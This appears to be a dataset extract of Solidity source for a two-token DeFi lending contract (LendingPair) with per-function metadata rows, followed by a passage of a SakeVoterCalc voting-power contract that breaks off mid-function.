borrowBalance( address _account, address _borrowedToken, address _returnToken ) external view returns(uint) { _validateToken(_borrowedToken); _validateToken(_returnToken); return _borrowBalance(_account, _borrowedToken, _returnToken); } function supplyBalance( address _account, address _suppliedToken, address _returnToken ) external view returns(uint) { _validateToken(_suppliedToken); _validateToken(_returnToken); return _supplyBalance(_account, _suppliedToken, _returnToken); } function supplyRatePerBlock(address _token) external view returns(uint) { _validateToken(_token); return controller.interestRateModel().supplyRatePerBlock(ILendingPair(address(this)), _token); } function borrowRatePerBlock(address _token) external view returns(uint) { _validateToken(_token); return _borrowRatePerBlock(_token); } function pendingSupplyInterest(address _token, address _account) external view returns(uint) { _validateToken(_token); uint newInterest = _newInterest(lpToken[_token].balanceOf(_account), _token, _account); return newInterest * _lpRate(_token) / 100e18; } function pendingBorrowInterest(address _token, address _account) external view returns(uint) { _validateToken(_token); return _pendingBorrowInterest(_token, _account); } function feeRecipient() public view returns(address) { return controller.feeRecipient(); } function checkAccountHealth(address _account) public view { uint health = accountHealth(_account); require(health >= controller.LIQ_MIN_HEALTH(), "LendingPair: insufficient accountHealth"); } function convertTokenValues( address _fromToken, address _toToken, uint _inputAmount ) external view returns(uint) { _validateToken(_fromToken); _validateToken(_toToken); return _convertTokenValues(_fromToken, _toToken, _inputAmount); } function _depositRepay(address _account, address _token, uint _amount) internal { uint debt = debtOf[_token][_account]; uint repayAmount = debt > _amount ? _amount : debt; if (repayAmount > 0) { _repay(_account, _token, repayAmount); } uint depositAmount = _amount - repayAmount; if (depositAmount > 0) { _deposit(_account, _token, depositAmount); } } function _withdrawBorrow(address _token, uint _amount) internal { uint supplyAmount = lpToken[_token].balanceOf(msg.sender); uint withdrawAmount = supplyAmount > _amount ? _amount : supplyAmount; if (withdrawAmount > 0) { _withdraw(_token, withdrawAmount); } uint borrowAmount = _amount - withdrawAmount; if (borrowAmount > 0) { _borrow(_token, borrowAmount); } } function _distributeReward(address _account) internal { IRewardDistribution rewardDistribution = controller.rewardDistribution(); if ( address(rewardDistribution) != address(0) && _account != feeRecipient() ) { rewardDistribution.distributeReward(_account, tokenA); rewardDistribution.distributeReward(_account, tokenB); } } function _mintSupply(address _token, address _account, uint _amount) internal { if (_amount > 0) { lpToken[_token].mint(_account, _amount); } } function _burnSupply(address _token, address _account, uint _amount) internal { if (_amount > 0) { lpToken[_token].burn(_account, _amount); } } function _mintDebt(address _token, address _account, uint _amount) internal { debtOf[_token][_account] += _amount; totalDebt[_token] += _amount; } // Origination fee is earned entirely by the protocol and is not split with the LPs // The goal is to prevent free flash loans function _mintDebtWithOriginFee(address _token, address _account, uint _amount) internal { uint originFee = _originationFee(_token, _amount); _mintSupply(_token, feeRecipient(), originFee); _mintDebt(_token, _account, _amount + originFee); } function _burnDebt(address _token, address _account, uint _amount) internal { debtOf[_token][_account] -= _amount; totalDebt[_token] -= _amount; } function _accrueAccountInterest(address _account) internal { uint lpBalanceA = lpToken[tokenA].balanceOf(_account); uint lpBalanceB = lpToken[tokenB].balanceOf(_account); _accrueAccountSupply(tokenA, lpBalanceA, _account); _accrueAccountSupply(tokenB, lpBalanceB, _account); _accrueAccountDebt(tokenA, _account); _accrueAccountDebt(tokenB, _account); accountInterestSnapshot[tokenA][_account] = cumulativeInterestRate[tokenA]; accountInterestSnapshot[tokenB][_account] = cumulativeInterestRate[tokenB]; } function _accrueAccountSupply(address _token, uint _amount, address _account) internal { if (_amount > 0) { uint supplyInterest = _newInterest(_amount, _token, _account); uint newSupplyAccount = supplyInterest * _lpRate(_token) / 100e18; uint newSupplySystem = supplyInterest * _systemRate(_token) / 100e18; _mintSupply(_token, _account, newSupplyAccount); _mintSupply(_token, feeRecipient(), newSupplySystem); } } function _accrueAccountDebt(address _token, address _account) internal { if (debtOf[_token][_account] > 0) { uint newDebt = _pendingBorrowInterest(_token, _account); _mintDebt(_token, _account, newDebt); } } function _withdraw(address _token, uint _amount) internal { lpToken[_token].burn(msg.sender, _amount); checkAccountHealth(msg.sender); emit Withdraw(_token, _amount); } function _borrow(address _token, uint _amount) internal { require(lpToken[_token].balanceOf(msg.sender) == 0, "LendingPair: cannot borrow supplied token"); _mintDebtWithOriginFee(_token, msg.sender, _amount); _checkBorrowLimits(_token, msg.sender); checkAccountHealth(msg.sender); emit Borrow(_token, _amount); } function _repay(address _account, address _token, uint _amount) internal { _burnDebt(_token, _account, _amount); emit Repay(_account, _token, _amount); } function _deposit(address _account, address _token, uint _amount) internal { _checkOracleSupport(tokenA); _checkOracleSupport(tokenB); require(debtOf[_token][_account] == 0, "LendingPair: cannot deposit borrowed token"); _mintSupply(_token, _account, _amount); _checkDepositLimit(_token); emit Deposit(_account, _token, _amount); } function _accrueInterest(address _token) internal { cumulativeInterestRate[_token] += _pendingInterestRate(_token); } function _pendingInterestRate(address _token) internal view returns(uint) { uint blocksElapsed = block.number - lastBlockAccrued; return _borrowRatePerBlock(_token) * blocksElapsed; } function _createLpToken(address _lpTokenMaster) internal returns(IERC20) { ILPTokenMaster newLPToken = ILPTokenMaster(_lpTokenMaster.clone()); newLPToken.initialize(); return IERC20(newLPToken); } function _safeTransfer(address _token, address _recipient, uint _amount) internal override { TransferHelper._safeTransfer(_token, _recipient, _amount); _checkMinReserve(address(_token)); } function _wethWithdrawTo(address _to, uint _amount) internal override { TransferHelper._wethWithdrawTo(_to, _amount); _checkMinReserve(address(WETH)); } function _borrowRatePerBlock(address _token) internal view returns(uint) { return controller.interestRateModel().borrowRatePerBlock(ILendingPair(address(this)), _token); } function _pendingBorrowInterest(address _token, address _account) internal view returns(uint) { return _newInterest(debtOf[_token][_account], _token, _account); } function _borrowBalance( address _account, address _borrowedToken, address _returnToken ) internal view returns(uint) { return _convertTokenValues(_borrowedToken, _returnToken, debtOf[_borrowedToken][_account]); } // Get supply balance converted to the units of _returnToken function _supplyBalance( address _account, address _suppliedToken, address _returnToken ) internal view returns(uint) { return _convertTokenValues(_suppliedToken, _returnToken, lpToken[_suppliedToken].balanceOf(_account)); } function _supplyCredit( address _account, address _suppliedToken, address _returnToken ) internal view returns(uint) { return _supplyBalance(_account, _suppliedToken, _returnToken) * controller.colFactor(_suppliedToken) / 100e18; } function _convertTokenValues( address _fromToken, address _toToken, uint _inputAmount ) internal view returns(uint) { uint priceFrom = controller.tokenPrice(_fromToken) * 1e18 / 10 ** IERC20(_fromToken).decimals(); uint priceTo = controller.tokenPrice(_toToken) * 1e18 / 10 ** IERC20(_toToken).decimals(); return _inputAmount * priceFrom / priceTo; } function _validateToken(address _token) internal view { require(_token == tokenA || _token == tokenB, "LendingPair: invalid token"); } function _checkOracleSupport(address _token) internal view { require(controller.tokenSupported(_token), "LendingPair: token not supported"); } function _checkMinReserve(address _token) internal view { require(IERC20(_token).balanceOf(address(this)) >= MIN_RESERVE, "LendingPair: below MIN_RESERVE"); } function _checkDepositLimit(address _token) internal view { require(controller.depositsEnabled(), "LendingPair: deposits disabled"); uint depositLimit = controller.depositLimit(address(this), _token); if (depositLimit > 0) { require((lpToken[_token].totalSupply()) <= depositLimit, "LendingPair: deposit limit reached"); } } function _checkBorrowLimits(address _token, address _account) internal view { require(controller.borrowingEnabled(), "LendingPair: borrowing disabled"); uint accountBorrowUSD = debtOf[_token][_account] * controller.tokenPrice(_token) / 1e18; require(accountBorrowUSD >= controller.minBorrowUSD(), "LendingPair: borrow amount below minimum"); uint borrowLimit = controller.borrowLimit(address(this), _token); if (borrowLimit > 0) { require(totalDebt[_token] <= borrowLimit, "LendingPair: borrow limit reached"); } } function _originationFee(address _token, uint _amount) internal view returns(uint) { return _amount * controller.originFee(_token) / 100e18; } function _systemRate(address _token) internal view returns(uint) { return controller.interestRateModel().systemRate(ILendingPair(address(this)), _token); } function _lpRate(address _token) internal view returns(uint) { return 100e18 - _systemRate(_token); } function _newInterest(uint _balance, address _token, address _account) internal view returns(uint) { uint currentCumulativeRate = cumulativeInterestRate[_token] + _pendingInterestRate(_token); return _balance * (currentCumulativeRate - accountInterestSnapshot[_token][_account]) / 100e18; } // Used in repayAll and repayAllETH to prevent front-running // Potential attack: // Recipient account watches the mempool and takes out a large loan just before someone calls repayAll. // As a result, paying account would end up paying much more than anticipated function _requireAccountNotAccrued(address _token, address _account) internal view { if (lastBlockAccrued == block.number && cumulativeInterestRate[_token] > 0) { require( cumulativeInterestRate[_token] > accountInterestSnapshot[_token][_account], "LendingPair: account already accrued" ); } } }
_supplyBalance
function _supplyBalance( address _account, address _suppliedToken, address _returnToken ) internal view returns(uint) { return _convertTokenValues(_suppliedToken, _returnToken, lpToken[_suppliedToken].balanceOf(_account)); }
// Get supply balance converted to the units of _returnToken
LineComment
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 16113, 16368 ] }
3,665
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
LendingPair
contract LendingPair is TransferHelper, ReentrancyGuard { // Prevents division by zero and other undesirable behaviour uint private constant MIN_RESERVE = 1000; using Address for address; using Clones for address; mapping (address => mapping (address => uint)) public debtOf; mapping (address => mapping (address => uint)) public accountInterestSnapshot; mapping (address => uint) public cumulativeInterestRate; // 100e18 = 100% mapping (address => uint) public totalDebt; mapping (address => IERC20) public lpToken; IController public controller; address public tokenA; address public tokenB; uint public lastBlockAccrued; event Liquidation( address indexed account, address indexed repayToken, address indexed supplyToken, uint repayAmount, uint supplyAmount ); event Deposit(address indexed account, address indexed token, uint amount); event Withdraw(address indexed token, uint amount); event Borrow(address indexed token, uint amount); event Repay(address indexed account, address indexed token, uint amount); receive() external payable {} function initialize( address _lpTokenMaster, address _controller, IERC20 _tokenA, IERC20 _tokenB ) external { require(address(tokenA) == address(0), "LendingPair: already initialized"); require(address(_tokenA) != address(0) && address(_tokenB) != address(0), "LendingPair: cannot be ZERO address"); controller = IController(_controller); tokenA = address(_tokenA); tokenB = address(_tokenB); lastBlockAccrued = block.number; lpToken[tokenA] = _createLpToken(_lpTokenMaster); lpToken[tokenB] = _createLpToken(_lpTokenMaster); } function depositRepay(address _account, address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(_account); _depositRepay(_account, _token, _amount); _safeTransferFrom(_token, msg.sender, _amount); } function depositRepayETH(address _account) external payable nonReentrant { _validateToken(address(WETH)); accrueAccount(_account); _depositRepay(_account, address(WETH), msg.value); _depositWeth(); } function deposit(address _account, address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(_account); _deposit(_account, _token, _amount); _safeTransferFrom(_token, msg.sender, _amount); } function withdrawBorrow(address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); _withdrawBorrow(_token, _amount); _safeTransfer(_token, msg.sender, _amount); } function withdrawBorrowETH(uint _amount) external nonReentrant { _validateToken(address(WETH)); accrueAccount(msg.sender); _withdrawBorrow(address(WETH), _amount); _wethWithdrawTo(msg.sender, _amount); } function withdraw(address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); _withdraw(_token, _amount); _safeTransfer(_token, msg.sender, _amount); } function withdrawAll(address _token) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); uint amount = lpToken[_token].balanceOf(msg.sender); _withdraw(_token, amount); _safeTransfer(_token, msg.sender, amount); } function withdrawAllETH() external nonReentrant { _validateToken(address(WETH)); accrueAccount(msg.sender); uint amount = lpToken[address(WETH)].balanceOf(msg.sender); _withdraw(address(WETH), amount); _wethWithdrawTo(msg.sender, amount); } function borrow(address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); _borrow(_token, _amount); _safeTransfer(_token, msg.sender, _amount); } function repayAll(address _account, address _token) external nonReentrant { _validateToken(_token); _requireAccountNotAccrued(_token, _account); accrueAccount(_account); uint amount = debtOf[_token][_account]; _repay(_account, _token, amount); _safeTransferFrom(_token, msg.sender, amount); } function repayAllETH(address _account) external payable nonReentrant { _validateToken(address(WETH)); _requireAccountNotAccrued(address(WETH), _account); accrueAccount(_account); uint amount = debtOf[address(WETH)][_account]; require(msg.value >= amount, "LendingPair: insufficient ETH deposit"); _depositWeth(); _repay(_account, address(WETH), amount); uint refundAmount = msg.value > amount ? (msg.value - amount) : 0; if (refundAmount > 0) { _wethWithdrawTo(msg.sender, refundAmount); } } function repay(address _account, address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(_account); _repay(_account, _token, _amount); _safeTransferFrom(_token, msg.sender, _amount); } function accrue() public { if (lastBlockAccrued < block.number) { _accrueInterest(tokenA); _accrueInterest(tokenB); lastBlockAccrued = block.number; } } function accrueAccount(address _account) public { _distributeReward(_account); accrue(); _accrueAccountInterest(_account); if (_account != feeRecipient()) { _accrueAccountInterest(feeRecipient()); } } // Sell collateral to reduce debt and increase accountHealth // Set _repayAmount to uint(-1) to repay all debt, inc. pending interest function liquidateAccount( address _account, address _repayToken, uint _repayAmount, uint _minSupplyOutput ) external nonReentrant { // Input validation and adjustments _validateToken(_repayToken); address supplyToken = _repayToken == tokenA ? tokenB : tokenA; // Check account is underwater after interest accrueAccount(_account); uint health = accountHealth(_account); require(health < controller.LIQ_MIN_HEALTH(), "LendingPair: account health < LIQ_MIN_HEALTH"); // Calculate balance adjustments _repayAmount = Math.min(_repayAmount, debtOf[_repayToken][_account]); uint supplyDebt = _convertTokenValues(_repayToken, supplyToken, _repayAmount); uint callerFee = supplyDebt * controller.liqFeeCaller(_repayToken) / 100e18; uint systemFee = supplyDebt * controller.liqFeeSystem(_repayToken) / 100e18; uint supplyBurn = supplyDebt + callerFee + systemFee; uint supplyOutput = supplyDebt + callerFee; require(supplyOutput >= _minSupplyOutput, "LendingPair: supplyOutput >= _minSupplyOutput"); // Adjust balances _burnSupply(supplyToken, _account, supplyBurn); _mintSupply(supplyToken, feeRecipient(), systemFee); _burnDebt(_repayToken, _account, _repayAmount); // Settle token transfers _safeTransferFrom(_repayToken, msg.sender, _repayAmount); _mintSupply(supplyToken, msg.sender, supplyOutput); emit Liquidation(_account, _repayToken, supplyToken, _repayAmount, supplyOutput); } function accountHealth(address _account) public view returns(uint) { if (debtOf[tokenA][_account] == 0 && debtOf[tokenB][_account] == 0) { return controller.LIQ_MIN_HEALTH(); } uint totalAccountSupply = _supplyCredit(_account, tokenA, tokenA) + _supplyCredit(_account, tokenB, tokenA); uint totalAccountBorrow = _borrowBalance(_account, tokenA, tokenA) + _borrowBalance(_account, tokenB, tokenA); return totalAccountSupply * 1e18 / totalAccountBorrow; } // Get borow balance converted to the units of _returnToken function borrowBalance( address _account, address _borrowedToken, address _returnToken ) external view returns(uint) { _validateToken(_borrowedToken); _validateToken(_returnToken); return _borrowBalance(_account, _borrowedToken, _returnToken); } function supplyBalance( address _account, address _suppliedToken, address _returnToken ) external view returns(uint) { _validateToken(_suppliedToken); _validateToken(_returnToken); return _supplyBalance(_account, _suppliedToken, _returnToken); } function supplyRatePerBlock(address _token) external view returns(uint) { _validateToken(_token); return controller.interestRateModel().supplyRatePerBlock(ILendingPair(address(this)), _token); } function borrowRatePerBlock(address _token) external view returns(uint) { _validateToken(_token); return _borrowRatePerBlock(_token); } function pendingSupplyInterest(address _token, address _account) external view returns(uint) { _validateToken(_token); uint newInterest = _newInterest(lpToken[_token].balanceOf(_account), _token, _account); return newInterest * _lpRate(_token) / 100e18; } function pendingBorrowInterest(address _token, address _account) external view returns(uint) { _validateToken(_token); return _pendingBorrowInterest(_token, _account); } function feeRecipient() public view returns(address) { return controller.feeRecipient(); } function checkAccountHealth(address _account) public view { uint health = accountHealth(_account); require(health >= controller.LIQ_MIN_HEALTH(), "LendingPair: insufficient accountHealth"); } function convertTokenValues( address _fromToken, address _toToken, uint _inputAmount ) external view returns(uint) { _validateToken(_fromToken); _validateToken(_toToken); return _convertTokenValues(_fromToken, _toToken, _inputAmount); } function _depositRepay(address _account, address _token, uint _amount) internal { uint debt = debtOf[_token][_account]; uint repayAmount = debt > _amount ? _amount : debt; if (repayAmount > 0) { _repay(_account, _token, repayAmount); } uint depositAmount = _amount - repayAmount; if (depositAmount > 0) { _deposit(_account, _token, depositAmount); } } function _withdrawBorrow(address _token, uint _amount) internal { uint supplyAmount = lpToken[_token].balanceOf(msg.sender); uint withdrawAmount = supplyAmount > _amount ? _amount : supplyAmount; if (withdrawAmount > 0) { _withdraw(_token, withdrawAmount); } uint borrowAmount = _amount - withdrawAmount; if (borrowAmount > 0) { _borrow(_token, borrowAmount); } } function _distributeReward(address _account) internal { IRewardDistribution rewardDistribution = controller.rewardDistribution(); if ( address(rewardDistribution) != address(0) && _account != feeRecipient() ) { rewardDistribution.distributeReward(_account, tokenA); rewardDistribution.distributeReward(_account, tokenB); } } function _mintSupply(address _token, address _account, uint _amount) internal { if (_amount > 0) { lpToken[_token].mint(_account, _amount); } } function _burnSupply(address _token, address _account, uint _amount) internal { if (_amount > 0) { lpToken[_token].burn(_account, _amount); } } function _mintDebt(address _token, address _account, uint _amount) internal { debtOf[_token][_account] += _amount; totalDebt[_token] += _amount; } // Origination fee is earned entirely by the protocol and is not split with the LPs // The goal is to prevent free flash loans function _mintDebtWithOriginFee(address _token, address _account, uint _amount) internal { uint originFee = _originationFee(_token, _amount); _mintSupply(_token, feeRecipient(), originFee); _mintDebt(_token, _account, _amount + originFee); } function _burnDebt(address _token, address _account, uint _amount) internal { debtOf[_token][_account] -= _amount; totalDebt[_token] -= _amount; } function _accrueAccountInterest(address _account) internal { uint lpBalanceA = lpToken[tokenA].balanceOf(_account); uint lpBalanceB = lpToken[tokenB].balanceOf(_account); _accrueAccountSupply(tokenA, lpBalanceA, _account); _accrueAccountSupply(tokenB, lpBalanceB, _account); _accrueAccountDebt(tokenA, _account); _accrueAccountDebt(tokenB, _account); accountInterestSnapshot[tokenA][_account] = cumulativeInterestRate[tokenA]; accountInterestSnapshot[tokenB][_account] = cumulativeInterestRate[tokenB]; } function _accrueAccountSupply(address _token, uint _amount, address _account) internal { if (_amount > 0) { uint supplyInterest = _newInterest(_amount, _token, _account); uint newSupplyAccount = supplyInterest * _lpRate(_token) / 100e18; uint newSupplySystem = supplyInterest * _systemRate(_token) / 100e18; _mintSupply(_token, _account, newSupplyAccount); _mintSupply(_token, feeRecipient(), newSupplySystem); } } function _accrueAccountDebt(address _token, address _account) internal { if (debtOf[_token][_account] > 0) { uint newDebt = _pendingBorrowInterest(_token, _account); _mintDebt(_token, _account, newDebt); } } function _withdraw(address _token, uint _amount) internal { lpToken[_token].burn(msg.sender, _amount); checkAccountHealth(msg.sender); emit Withdraw(_token, _amount); } function _borrow(address _token, uint _amount) internal { require(lpToken[_token].balanceOf(msg.sender) == 0, "LendingPair: cannot borrow supplied token"); _mintDebtWithOriginFee(_token, msg.sender, _amount); _checkBorrowLimits(_token, msg.sender); checkAccountHealth(msg.sender); emit Borrow(_token, _amount); } function _repay(address _account, address _token, uint _amount) internal { _burnDebt(_token, _account, _amount); emit Repay(_account, _token, _amount); } function _deposit(address _account, address _token, uint _amount) internal { _checkOracleSupport(tokenA); _checkOracleSupport(tokenB); require(debtOf[_token][_account] == 0, "LendingPair: cannot deposit borrowed token"); _mintSupply(_token, _account, _amount); _checkDepositLimit(_token); emit Deposit(_account, _token, _amount); } function _accrueInterest(address _token) internal { cumulativeInterestRate[_token] += _pendingInterestRate(_token); } function _pendingInterestRate(address _token) internal view returns(uint) { uint blocksElapsed = block.number - lastBlockAccrued; return _borrowRatePerBlock(_token) * blocksElapsed; } function _createLpToken(address _lpTokenMaster) internal returns(IERC20) { ILPTokenMaster newLPToken = ILPTokenMaster(_lpTokenMaster.clone()); newLPToken.initialize(); return IERC20(newLPToken); } function _safeTransfer(address _token, address _recipient, uint _amount) internal override { TransferHelper._safeTransfer(_token, _recipient, _amount); _checkMinReserve(address(_token)); } function _wethWithdrawTo(address _to, uint _amount) internal override { TransferHelper._wethWithdrawTo(_to, _amount); _checkMinReserve(address(WETH)); } function _borrowRatePerBlock(address _token) internal view returns(uint) { return controller.interestRateModel().borrowRatePerBlock(ILendingPair(address(this)), _token); } function _pendingBorrowInterest(address _token, address _account) internal view returns(uint) { return _newInterest(debtOf[_token][_account], _token, _account); } function _borrowBalance( address _account, address _borrowedToken, address _returnToken ) internal view returns(uint) { return _convertTokenValues(_borrowedToken, _returnToken, debtOf[_borrowedToken][_account]); } // Get supply balance converted to the units of _returnToken function _supplyBalance( address _account, address _suppliedToken, address _returnToken ) internal view returns(uint) { return _convertTokenValues(_suppliedToken, _returnToken, lpToken[_suppliedToken].balanceOf(_account)); } function _supplyCredit( address _account, address _suppliedToken, address _returnToken ) internal view returns(uint) { return _supplyBalance(_account, _suppliedToken, _returnToken) * controller.colFactor(_suppliedToken) / 100e18; } function _convertTokenValues( address _fromToken, address _toToken, uint _inputAmount ) internal view returns(uint) { uint priceFrom = controller.tokenPrice(_fromToken) * 1e18 / 10 ** IERC20(_fromToken).decimals(); uint priceTo = controller.tokenPrice(_toToken) * 1e18 / 10 ** IERC20(_toToken).decimals(); return _inputAmount * priceFrom / priceTo; } function _validateToken(address _token) internal view { require(_token == tokenA || _token == tokenB, "LendingPair: invalid token"); } function _checkOracleSupport(address _token) internal view { require(controller.tokenSupported(_token), "LendingPair: token not supported"); } function _checkMinReserve(address _token) internal view { require(IERC20(_token).balanceOf(address(this)) >= MIN_RESERVE, "LendingPair: below MIN_RESERVE"); } function _checkDepositLimit(address _token) internal view { require(controller.depositsEnabled(), "LendingPair: deposits disabled"); uint depositLimit = controller.depositLimit(address(this), _token); if (depositLimit > 0) { require((lpToken[_token].totalSupply()) <= depositLimit, "LendingPair: deposit limit reached"); } } function _checkBorrowLimits(address _token, address _account) internal view { require(controller.borrowingEnabled(), "LendingPair: borrowing disabled"); uint accountBorrowUSD = debtOf[_token][_account] * controller.tokenPrice(_token) / 1e18; require(accountBorrowUSD >= controller.minBorrowUSD(), "LendingPair: borrow amount below minimum"); uint borrowLimit = controller.borrowLimit(address(this), _token); if (borrowLimit > 0) { require(totalDebt[_token] <= borrowLimit, "LendingPair: borrow limit reached"); } } function _originationFee(address _token, uint _amount) internal view returns(uint) { return _amount * controller.originFee(_token) / 100e18; } function _systemRate(address _token) internal view returns(uint) { return controller.interestRateModel().systemRate(ILendingPair(address(this)), _token); } function _lpRate(address _token) internal view returns(uint) { return 100e18 - _systemRate(_token); } function _newInterest(uint _balance, address _token, address _account) internal view returns(uint) { uint currentCumulativeRate = cumulativeInterestRate[_token] + _pendingInterestRate(_token); return _balance * (currentCumulativeRate - accountInterestSnapshot[_token][_account]) / 100e18; } // Used in repayAll and repayAllETH to prevent front-running // Potential attack: // Recipient account watches the mempool and takes out a large loan just before someone calls repayAll. // As a result, paying account would end up paying much more than anticipated function _requireAccountNotAccrued(address _token, address _account) internal view { if (lastBlockAccrued == block.number && cumulativeInterestRate[_token] > 0) { require( cumulativeInterestRate[_token] > accountInterestSnapshot[_token][_account], "LendingPair: account already accrued" ); } } }
_requireAccountNotAccrued
function _requireAccountNotAccrued(address _token, address _account) internal view { if (lastBlockAccrued == block.number && cumulativeInterestRate[_token] > 0) { require( cumulativeInterestRate[_token] > accountInterestSnapshot[_token][_account], "LendingPair: account already accrued" ); } }
// Used in repayAll and repayAllETH to prevent front-running // Potential attack: // Recipient account watches the mempool and takes out a large loan just before someone calls repayAll. // As a result, paying account would end up paying much more than anticipated
LineComment
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 19470, 19811 ] }
3,666
SakeVoterCalc
contracts/SakeVoterCalc.sol
0x44d84a9da47fd8f4a06ad66b197d1441fca53f92
Solidity
SakeVoterCalc
contract SakeVoterCalc { using SafeMath for uint256; ItMap public voteLpPoolMap; //Voter LP Address // Apply library functions to the data type. using IterableMapping for ItMap; IERC20 public sake; SakeBar public bar; STokenMaster public stoken; SakeMaster public masterV1; SakeMasterV2 public masterV2; IERC20 public lpSakeEth = IERC20(0xAC10f17627Cd6bc22719CeEBf1fc524C9Cfdc255); //SAKE-ETH address public owner; uint256 public lpPow = 2; uint256 public balancePow = 1; uint256 public stakePow = 1; bool public sqrtEnable = true; modifier onlyOwner() { require(owner == msg.sender, "Not Owner"); _; } constructor( address _tokenAddr, address _barAddr, address _stoken, address _masterAddr, address _masterV2Addr ) public { sake = IERC20(_tokenAddr); bar = SakeBar(_barAddr); stoken = STokenMaster(_stoken); masterV1 = SakeMaster(_masterAddr); masterV2 = SakeMasterV2(_masterV2Addr); owner = msg.sender; voteLpPoolMap.insert(voteLpPoolMap.size, 0xAC10f17627Cd6bc22719CeEBf1fc524C9Cfdc255); //SAKE-ETH voteLpPoolMap.insert(voteLpPoolMap.size, 0x5B255e213bCcE0FA8Ad2948E3D7A6F6E76472db8); //SAKE-USDT voteLpPoolMap.insert(voteLpPoolMap.size, 0xEc694c829CC192667cDAA6C7639Ef362f3cbF575); //SAKE-USDC voteLpPoolMap.insert(voteLpPoolMap.size, 0x838ce8f4Da8b49EA72378427485CF827c08a0abf); //SAKE-DAI voteLpPoolMap.insert(voteLpPoolMap.size, 0x49DE2D202fB703999c4D6a7e2dAA2F3700588f40); //SAKE-SUSHI voteLpPoolMap.insert(voteLpPoolMap.size, 0x83970b5570E4cb5FC5e21eF9B9F3c4F8A129c2f2); //SAKE-UNI } function sqrt(uint256 x) public pure returns (uint256 y) { uint256 z = x.add(1).div(2); y = x; while (z < y) { y = z; z = x.div(z).add(z).div(2); } } function totalSupply() external view returns (uint256) { uint256 voterTotal = 0; uint256 _vCtSakes = 0; uint256 totalBarSakes = 0; address _vLpToken; totalBarSakes = sake.balanceOf(address(bar)); for ( uint256 i = voteLpPoolMap.iterateStart(); voteLpPoolMap.iterateValid(i); i = voteLpPoolMap.iterateNext(i) ) { //count lp contract sakenums (, _vLpToken) = voteLpPoolMap.iterateGet(i); _vCtSakes = _vCtSakes.add(sake.balanceOf(_vLpToken)); } voterTotal = sake.totalSupply().sub(totalBarSakes).sub(_vCtSakes).mul(balancePow) + _vCtSakes.mul(lpPow) + totalBarSakes.mul(stakePow); if (sqrtEnable == true) { return sqrt(voterTotal); } return voterTotal; } function _getUserLpSakes(address _voter, address _vLpTokenAddr) internal view returns (uint256) { IERC20 _vtmpLpToken; IERC20 _vLpToken; uint256 _vUserLp = 0; uint256 _vtmpUserLp = 0; uint256 _vCtSakeNum = 0; uint256 _vUserSakeNum = 0; ISakeSwapPair _vPair; if (sake.balanceOf(_vLpTokenAddr) == 0) { return 0; } _vLpToken = IERC20(_vLpTokenAddr); //v1 pool for (uint256 j = 0; j < masterV1.poolLength(); j++) { (_vtmpLpToken, , , ) = masterV1.poolInfo(j); if (_vtmpLpToken == _vLpToken) { (_vtmpUserLp, ) = masterV1.userInfo(j, _voter); _vUserLp = _vUserLp.add(_vtmpUserLp); break; } } //v2 pool for (uint256 j = 0; j < masterV2.poolLength(); j++) { (_vtmpLpToken, , , , , , ) = masterV2.poolInfo(j); if (_vtmpLpToken == _vLpToken) { (, , _vtmpUserLp, , , ) = masterV2.userInfo(j, _voter); _vUserLp = _vUserLp.add(_vtmpUserLp); break; } } //stokenmaster pool if (lpSakeEth == _vLpToken) { (, , _vtmpUserLp, ) = stoken.userInfo(0, _voter); _vUserLp = _vUserLp.add(_vtmpUserLp); } //user balance lp _vPair = ISakeSwapPair(_vLpTokenAddr); _vUserLp = _vUserLp.add(_vPair.balanceOf(_voter)); //user deposit sakenum = user_lptoken*contract_sakenum/contract_lptokens _vCtSakeNum = sake.balanceOf(address(_vLpToken)); _vUserSakeNum = _vUserLp.mul(_vCtSakeNum).div(_vPair.totalSupply()); return _vUserSakeNum; } //sum user deposit sakenum function balanceOf(address _voter) external view returns (uint256) { uint256 _votes = 0; uint256 _vCtSakeNum = 0; uint256 _vBarSakeNum = 0; address _vLpTokenAddr; for ( uint256 i = voteLpPoolMap.iterateStart(); voteLpPoolMap.iterateValid(i); i = voteLpPoolMap.iterateNext(i) ) { (, _vLpTokenAddr) = voteLpPoolMap.iterateGet(i); _vCtSakeNum = _vCtSakeNum.add(_getUserLpSakes(_voter, _vLpTokenAddr)); } _vBarSakeNum = bar.balanceOf(_voter).mul(sake.balanceOf(address(bar))).div(bar.totalSupply()); _votes = _vCtSakeNum.mul(lpPow) + sake.balanceOf(_voter).mul(balancePow) + _vBarSakeNum.mul(stakePow); if (sqrtEnable == true) { return sqrt(_votes); } return _votes; } function addVotePool(address newLpAddr) public onlyOwner { address _vTmpLpAddr; uint256 key = 0; for ( uint256 i = voteLpPoolMap.iterateStart(); voteLpPoolMap.iterateValid(i); i = voteLpPoolMap.iterateNext(i) ) { (, _vTmpLpAddr) = voteLpPoolMap.iterateGet(i); require(_vTmpLpAddr != newLpAddr, "newLpAddr already exist"); } for (key = 0; voteLpPoolMap.iterateValid(key); key++) { if (voteLpPoolMap.contains(key) == false) { break; } } voteLpPoolMap.insert(key, newLpAddr); } function delVotePool(address newLpAddr) public onlyOwner { uint256 key = 0; address _vTmpLpAddr; for ( uint256 i = voteLpPoolMap.iterateStart(); voteLpPoolMap.iterateValid(i); i = voteLpPoolMap.iterateNext(i) ) { (key, _vTmpLpAddr) = voteLpPoolMap.iterateGet(i); if (_vTmpLpAddr == newLpAddr) { voteLpPoolMap.remove(key); return; } } } function getVotePool(address newLpAddr) external view returns (uint256) { address _vTmpLpAddr; uint256 key = 0; for ( uint256 i = voteLpPoolMap.iterateStart(); voteLpPoolMap.iterateValid(i); i = voteLpPoolMap.iterateNext(i) ) { (key, _vTmpLpAddr) = voteLpPoolMap.iterateGet(i); if (_vTmpLpAddr == newLpAddr) { return key; } } return 0; } function setSqrtEnable(bool enable) public onlyOwner { if (sqrtEnable != 